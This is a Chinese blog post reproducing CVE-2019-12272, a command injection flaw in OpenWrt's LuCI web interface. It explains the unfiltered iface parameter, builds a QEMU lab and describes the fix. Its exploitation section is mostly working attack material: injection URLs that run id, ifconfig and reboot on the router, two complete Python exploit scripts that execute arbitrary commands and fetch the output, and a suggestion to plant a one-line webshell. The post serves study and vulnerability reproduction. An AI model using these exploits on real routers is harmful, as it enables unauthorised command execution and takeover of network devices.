CVE-2019-12272 Openwrt可视页面LuCi命令注入漏洞复现(完结)

声明

本文所使用的一些源代码等内容已经上传至github,具体地址如下

Vulnerability_POC-EXP/OpenWrt/CVE-2019-12272 at main · a2148001284/Vulnerability_POC-EXP · GitHub

漏洞简介

参考内容:

CVE-2019-12272 OpenWrt图形化管理界面LuCI命令注入分析 | Math & Sec ,HACHp1的个人博客

CVE-2019-12272 OpenWrt图形化管理界面LuCI命令注入分析_openwrt 图形界面-CSDN博客

exploits/CVE-2019-12272 at master · oreosES/exploits · GitHub

OpenWrt LuCI是一款用于OpenWrt(Linux发行版)的图形化配置界面

OpenWrt LuCI 0.10及之前版本中的admin/status/realtime/bandwidth_status和admin/status/realtime/wireless_status端点存在命令注入漏洞。该漏洞源于外部输入数据构造可执行命令过程中,网络系统或产品未正确过滤其中的特殊元素。攻击者可利用该漏洞执行非法命令。

漏洞原理分析

        正如现在十分流行的SpringBoot框架一样,Luci也采用了MVC的三层架构,开发主要是采用的lua脚本进行的开发。同样会从controller进入,找到相应的model进行处理。

        核心程序目录在controller下的admin下的status.lua文件中

漏洞所在位置是realtime接口的bandwidth_status函数或者wireless_status函数

具体流程是通过控制器进入了index.lua的路由后,使用dispatcher的call回调函数调用action_bandwidth函数

首先是call函数

之后会进入action_bandwidth函数:

        url解析路由之后的部分将被当做参数iface传入,在上图的代码66行中,参数没有经过任何过滤,直接通过%q拼接到了相应的内容当中。且%q默认会将传入的内容iface包裹上一个双引号后拼接进去。举个例子,如果iface是aaa 那么传入拼接以后就变成了luci -bwc -i "aaa" 2>/dev/null

        那么当通过io.popen来执行命令的时候,在bash权限情况下,如果我们输入的iface参数的数值为$(),那么加上有了双引号的包裹,$()的内容可能会被当作命令执行,从而导致了远程命令执行漏洞,有点类似于SQL注入没有过滤参数的感觉。

        所以漏洞主要的点就在于这个函数没有过滤上。

漏洞环境搭建

本次实验我们采用的openwrt的版本是Chaos Calmer OpenWrt 15.05.1

具体实验环境的下载地址如下:

https://archive.openwrt.org/chaos_calmer/15.05.1/x86/64/openwrt-15.05.1-x86-64-combined-ext4.img.gz

(ps:切记选择镜像的时候 要选择x86下的64的镜像 选择错的话 可能windows下没有办法运行或者vmware启动后会出错 选择一定要严格选择镜像的版本)

我们采用和之前2020-7982漏洞相同的安装和部署方式,详情见CVE-2020-7982 OpenWrt 远程命令执行漏洞学习(完结)_openwrt 漏洞-CSDN博客

我们也将其转换完格式后导入到vmware中,并且也确保其和kali的网络是可以互相ping通相互访问的,后续的攻击操作我们都将在kali机器中进行模拟。

具体的格式转换如下图

qemu-img.exe convert -O vmdk openwrt-15.05.1-x86-64-combined-ext4.img 15.05.1.vmdk

转换完毕后,我们尝试导入到vmware中进行安装

安装时记得选择

指定完我们转换完的磁盘后,就可以成功在vmware中运行

PS:本人不明白是系统存在问题,还是什么原因,我的电脑按照以上操作完成后,在vmware启动虚拟机时,会出现卡住在某些黑框命令的情况,很长时间没有反应,读者可以先尝试以上办法,不可行再尝试一下方案。

接下来我参考了别人一篇的办法,将网络设置为了dhcp的连接方案,虽然此时kali不能够访问到openwrt,但是主机本身可以通过localhost访问到目标主机,且切记,只有本文符合要求的15.05.1的openwrt的版本才具备http的功能,才能成功的将源代码通过http的方式下载下来(本人亲测),所以强烈建议以本文提供的镜像为实验环境,如果有大牛有别的下载源代码的方法,欢迎讨论。

环境部署参考:(重点是qemu启动时候的参数要学习一下)

【安装笔记-20240520-Windows-在 QEMU 中尝试运行 OpenWRT】_qemu openwrt-CSDN博客

【调试笔记-20240525-Windows-配置 QEMU/x86_64 运行 OpenWrt-23.05 发行版并搭建 WordPress 博客网站】_qemu安装openwrt-CSDN博客

我们将镜像openwrt-15.05.1-x86-generic-combined-ext4.img放到qemu的启动目录下,cmd下执行如下的命令即可成功的启动openwrt的镜像。

qemu-system-x86_64.exe -cpu "Penryn,vendor=GenuineIntel,+ssse3,+sse4.2" -m 256 -hda openwrt-15.05.1-x86-generic-combined-ext4.img -netdev "user,id=hn0,hostfwd=tcp::80-:80,hostfwd=tcp::50022-:22" -device "e1000,netdev=hn0,id=nic1" -net nic,model=virtio -net user -display sdl

之后我们把联网的方式重置为dhcp的方式,用如下的命令

uci set network.lan.proto="dhcp"
uci commit network
service network restart

如果你的版本不兼容命令service network restart,本文的系统也不兼容,则将这条命令替换为如下的命令重启服务也可以

/etc/init.d/network restart

此时可以尝试是否可以ping通百度,判断是否可以联网

之后我们去自己的本主机,访问localhost,看是否可以访问到路由器的uhttpd的luci图形化页面。

至此,我们实验所需要使用的环境就算部署完了,我们后续的攻击模拟操作会在本主机来进行。

但是为了便于我们对于漏洞原理更好的理解和分析,我们需要把luci的源代码下载下来。

我们可以通过如下命令,进入到luci的目录

cd /usr/lib/lua/luci

进入以后,我们通过如下的命令,将当前目录下的全部内容进行打包

tar -zcvf code.tar.gz *

将所有的内容打包为code.tar.gz

我们可以将这个文件,移动到http这个文件夹下,这是luci当前版本所提供的方法,可以直接通过http的协议来下载目录下的文件

mv ./code.tar.gz ./http/code.tar.gz

除此以外,还有另外两种方法可以完成文件的传输。第一种是在挂载的时候,指定-virtfs参数来指定共享文件夹,后续可以通过这个文件夹来与主机共享文件。

可以参考在QEMU虚拟机和宿主机之间传输文件_qemu虚拟机文件拷贝-CSDN博客

本文将第三种方法再演示一下,由于一开始挂载的命令中将虚拟机的22端口做了映射,映射到了本机的50022端口,命令是hostfwd=tcp::50022-:22。所以我们可以先把虚拟机的密码进行一下修改

修改完成后,本文采用的镜像默认启动了ssh服务,我们可以通过bitvise或者finalshell等工具进行ssh的连接,这里不再赘述

之后可以通过SFTP的服务来传输文件。

也可以自行在命令行,通过ssh服务来传输文件

可以在windows终端输入如下命令

scp root@127.0.0.1:/usr/lib/lua/luci/http/code.tar.gz ./code.tar.gz

本文由于ssh端口被映射到了50022 要通过-P指定端口

scp -P 50022 root@127.0.0.1:/usr/lib/lua/luci/http/code.tar.gz ./code.tar.gz

传输完毕

接下来我们会结合这个代码来分析漏洞原理

漏洞利用

首先我们可以通过POC进行漏洞利用的验证

http://127.0.0.1/cgi-bin/luci/admin/status/realtime/bandwidth_status/eth0$(id>cmd)

其中id>cmd,也就是eth0$(),括号中的内容就是linux系统即将执行的命令

一般执行命令没有什么明显的回显,可以尝试把命令写成reboot,如果系统重启了,也就证明漏洞被成功利用了。

还有另一种情况,测试以上poc以后,页面不变,那么我们可以尝试先登录

登录完成以后,页面的url会改变

这个stok有点类似于我们的cookie或者session,我们可以在这段内容的基础上再加入命令

http://127.0.0.1/cgi-bin/luci/;stok=5c17919168ef7b9a15fd063312692e8c/admin/status/realtime/bandwidth_status/eth0$()

能出现回显,说明命令可以成功执行

比如我们测试一下 ifconfig

http://127.0.0.1/cgi-bin/luci/;stok=5c17919168ef7b9a15fd063312692e8c/admin/status/realtime/bandwidth_status/eth0$(ifconfig)

没有明显的回显 我们可以测试如reboot这种重启的命令

http://127.0.0.1/cgi-bin/luci/;stok=5c17919168ef7b9a15fd063312692e8c/admin/status/realtime/bandwidth_status/eth0$(reboot)

执行之前的系统如下

点击执行的瞬间

很明显 reboot重启指令被成功的执行了 所以POC成功的验证了命令执行这个功能

接下来我们可以尝试用python写一个exp 来利用这个漏洞

cve-2019-12272_bandwidth_status.py

#!/usr/bin/python3

import argparse
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit(args):
    try:
        address = args.address
        username = args.username
        password = args.password
        command = args.command
    
        session = requests.Session()

        url = 'http://%s/cgi-bin/luci/admin/status/realtime/bandwidth_status/eth0$(%s>output.txt)' % ( address,command ) # 将执行结果写入output.txt文件
        
        
        data = {'luci_username':username,'luci_password':password}
        response = session.post(url=url,data=data,verify=False)
        
        url = 'http://%s/output.txt' % address # 获取output.txt内容
        response = session.get(url=url,verify=False)
        print('[+] out=\n'+response.text)
    except:
        print('[-] not exploitable')


def main():
    parser = argparse.ArgumentParser(description='cve-2019-12272.py')
    requiredNamed = parser.add_argument_group('required named arguments')
    requiredNamed.add_argument('-a', '--address', help='地址', required=True)
    requiredNamed.add_argument('-u', '--username', help='username', required=True)
    requiredNamed.add_argument('-p', '--password', help='password', required=True)
    requiredNamed.add_argument('-c', '--command', help='待执行命令', required=True)
    args = parser.parse_args()
    exploit(args)

if __name__== "__main__":
    main()

使用方法

python .\cve-2019-12272_bandwidth_status.py -a 192.168.153.4 -u root -p root -c ls

cve-2019-12272_wireless_status.py

#!/usr/bin/python3

import argparse
import json
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def exploit(args):
    try:
        address = args.address
        username = args.username
        password = args.password
        command = args.command
    
        session = requests.Session()
        
        url = 'http://%s/cgi-bin/luci/admin/status/realtime/wireless_status/eth0$(%s>output.txt)' % ( address,command ) # 将执行结果写入output.txt文件
        
        data = {'luci_username':username,'luci_password':password}
        response = session.post(url=url,data=data,verify=False)
        
        url = 'http://%s/output.txt' % address # 获取output.txt内容
        response = session.get(url=url,verify=False)
        print('[+] out=\n'+response.text)
    except:
        print('[-] not exploitable')


def main():
    parser = argparse.ArgumentParser(description='cve-2019-12272.py')
    requiredNamed = parser.add_argument_group('required named arguments')
    requiredNamed.add_argument('-a', '--address', help='地址', required=True)
    requiredNamed.add_argument('-u', '--username', help='username', required=True)
    requiredNamed.add_argument('-p', '--password', help='password', required=True)
    requiredNamed.add_argument('-c', '--command', help='待执行命令', required=True)
    args = parser.parse_args()
    exploit(args)

if __name__== "__main__":
    main()

使用方法

python .\cve-2019-12272_wireless_status.py -a 192.168.153.4 -u root -p root -c ls

这种exp脚本的编写,和web的各种基础漏洞的利用,如用一句话木马连接shell等都很类似,所以这里就不赘述exp的原理了,很简单。

        我们大可以尝试直接不用exp,就页面上写个命令,写入一个一句话木马到木马文件,然后连接使用就可以了,很简单。

http://127.0.0.1/cgi-bin/luci/;stok=a99b4c2bcb3936bf7fd3c5fc8621b521/admin/status/realtime/bandwidth_status/eth0$(ifconfig >> a.txt)

如果命令被成功执行的话,其回显是有内容的

如果回显的内容是空的[],说明没有被成功执行

我们执行了将ifconfig的内容写到a.txt 我们可以在当前目录下找到

漏洞修复

        对于修复后的版本,其使用了gsub函数,将iface参数中的单引号去除掉,然后在最外层加上了单引号,这样整个iface就会被当做字符串,而不会被当作命令来执行了。只有双引号括起来才有可能被当作命令去执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/765274.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【吴恩达机器学习-week2】可选实验:使用 Scikit-Learn 进行线性回归

支持我的工作 🎉 📃亲爱的朋友们,感谢你们一直以来对我的关注和支持! 💪🏻 为了提供更优质的内容和更有趣的创作,我付出了大量的时间和精力。如果你觉得我的内容对你有帮助或带来了欢乐&#xf…

springboot项目jar包修改数据库配置运行时异常

一、背景 我将软件成功打好jar包了,到部署的时候发现jar包中数据库配置写的有问题,不想再重新打包了,打算直接修改配置文件,结果修改配置后,再通过java -jar运行时就报错了。 二、问题描述 本地项目是springBoot项目…

Git使用——首次创建本地仓库、配置、初始化、关联远程仓库

1、安装 Git软件 官网:git-scm.com 有时候官网打不开,这里留存个之前下载过的安装包: https://download.csdn.net/download/weixin_43908355/89502977 2、配置本地仓库 在准备建仓库的文件夹里,右键点击:Git Bash …

Cybervadis认证是什么?

Cybervadis认证是一种全面且深入的网络安全评估和认证服务,旨在帮助组织提高其网络安全实践的成熟度,并有效应对不断变化的网络威胁和攻击。以下是关于Cybervadis认证的一些关键信息: 认证目的: 评估和验证组织在网络安全方面的能…

HMI 的 UI 风格成就经典

HMI 的 UI 风格成就经典

SAR目标检测

Multi-Stage with Filter Augmentation 多阶段滤波器增强(MSFA) 对SAR合成孔径雷达目标检测性能的改善 MSFA ON SAR 传统方法: 预训练:传统方法开始于在通用数据集上预训练一个基础模型。 微调:这个预训练的模型会被微调以适应特定的SAR图像,试图缩小域间的差距 …

git命令含有中文,终端输出中文乱码的问题

目录 1、[当前代码页] 的936 (ANSI/OEM - 简体中文 GBK) 是导致中文乱码的原因 2、这样会导致什么问题呢? (1) 问题一: 【属性】选项的【字体】无法识别自定义文字样式,【默认值】选项可选自定义字体样式,却无法覆盖【属性】选项 (2) 问题…

AutoCAD Mechanical下载安装;Mechanical针对机械设计领域开发的CAD软件下载安装!

在AutoCAD Mechanical的助力下,用户能够轻松应对二维绘图与三维建模两大核心任务。二维绘图方面,软件提供了精准且灵活的绘图工具,使得工程师能够迅速勾勒出机械部件的轮廓与细节,大大提高了工作效率。 而在三维建模方面&#xff…

继承QAbstractListModel,结合QListView

这里想要写一个QAbstractListModel的子类&#xff0c;学习一下如何实例化QAbstractListModel。 QAbstractListModel子类化-CSDN博客 QVariant与自定义类型互转之奇巧淫技_qt 类型转 qvariant-CSDN博客 #pragma once#include <QStyledItemDelegate> #include <qmeta…

React+TS 从零开始教程(4):useEffect

上一节传送门&#xff1a;ReactTS 从零开始教程&#xff08;3&#xff09;&#xff1a;useState 源码链接&#xff1a;https://pan.quark.cn/s/c6fbc31dcb02 上一节&#xff0c;我们已经学会了React的第一个Hook&#xff1a;useState。 这一节&#xff0c;我们要学习的是另一…

聊聊etsy平台,一个年入百万的项目

聊聊etsy平台&#xff0c;一个年入百万的项目 什么是etsy,这是怎样一个平台&#xff0c;怎样盈利的&#xff1f;相信现在大家满脑子都是这些疑问。 这个平台也是无意间一个学员提到的&#xff0c;据说他朋友靠这个平台年赚好几百万。苦于门槛太高&#xff0c;他也做不了。今天…

乐鑫Wi-Fi单火线开关方案,传统开关智能升级,启明云端乐鑫一级代理商

随着智能家居技术的飞速发展&#xff0c;我们的日常生活正在变得越来越便捷。今天&#xff0c;我们要探讨的是一种创新的智能家居方案——Wi-Fi单火线智能开关。 传统的机械单火线开关虽然简单可靠&#xff0c;但在现代智能家居系统中显得力不从心。它们无法远程控制&#xff…

python实现简单的三维建模学习记录

课程来源与蓝桥云课Python 实现三维建模工具_Python - 蓝桥云课和500 Lines or LessA 3D Modeller 说明 个人估计这是一个值得花一个礼拜左右时间去琢磨的一个小项目。上述网址中的代码直接拿来不一定能跑&#xff0c;需要后期自己去修改甚至在上面继续优化&#xff0c;会在其…

Java 汉诺塔问题 详细分析

汉诺塔 汉诺塔&#xff08;Tower of Hanoi&#xff09;&#xff0c;又称河内塔&#xff0c;是一个源于印度古老传说的益智玩具。大梵天创造世界的时候做了三根金刚石柱子&#xff0c;在一根柱子上从下往上按照大小顺序摞着64片黄金圆盘。大梵天命令婆罗门把圆盘从下面开始按大小…

华为手机怎么打印文件?

关于华为手机打印的问题&#xff0c;如果您有打印机&#xff0c;并且已经成功和华为手机相连&#xff0c;在解决上就要容易很多。 具体操作如下&#xff1a; 选择文件 文件来源&#xff1a;华为手机上的文件可以来自多个应用&#xff0c;如图库、备忘录、文件管理等&#xf…

Python入门 2024/7/2 While

目录 while循环的基础应用 循环输出十次&#xff1a;键盘敲烂&#xff0c;月入过万 计算1~100的和 用while循环练习猜数字 while循环的嵌套应用 打印九九乘法表 输出不换行的功能 while循环的基础应用 格式&#xff1a; while 条件&#xff1a; 条件满足时&#xff0c…

leetcode刷题:vector刷题

​ ​ &#x1f525;个人主页&#xff1a;guoguoqiang. &#x1f525;专栏&#xff1a;leetcode刷题 1.只出现一次的数字 这道题很简单&#xff0c;我们只需要遍历一次数组即可通过异或运算实现。(一个数与自身异或结果为0&#xff0c;任何数与0异或还是它本身) class Solut…

Nuxt3 的生命周期和钩子函数(八)

title: Nuxt3 的生命周期和钩子函数&#xff08;八&#xff09; date: 2024/6/30 updated: 2024/6/30 author: cmdragon excerpt: 摘要&#xff1a;本文介绍了Nuxt3框架中的一些重要生命周期钩子&#xff0c;如prepare:types用于自定义TypeScript配置和类型声明&#xff0c;…

ubuntu apt命令 出现红色弹框 Daemons using outdated libraries

1. 弹框没截图&#xff0c;是因为ubuntu22.04一个新特性导致的&#xff0c;由 needrestart 命令触发&#xff0c;默认情况是交互性质的&#xff0c;也就是会中断在这里需要手动要处理提示。 2. 修改/etc/needrestart/needrestart.conf 文件&#xff0c;将 #$nrconf{restart} …

解决obsidian加粗字体显示不突出的问题

加粗字体显示不突出的原因&#xff1a;默认字体的加粗版本本来就不突出 解决方法&#xff1a;改成显示突出的类型Microsoft YaHei UI 【效果】 修改前&#xff1a;修改后&#xff1a; 其他方法&#xff1a; 修改css&#xff08;很麻烦&#xff0c;改半天也不一定奏效&#…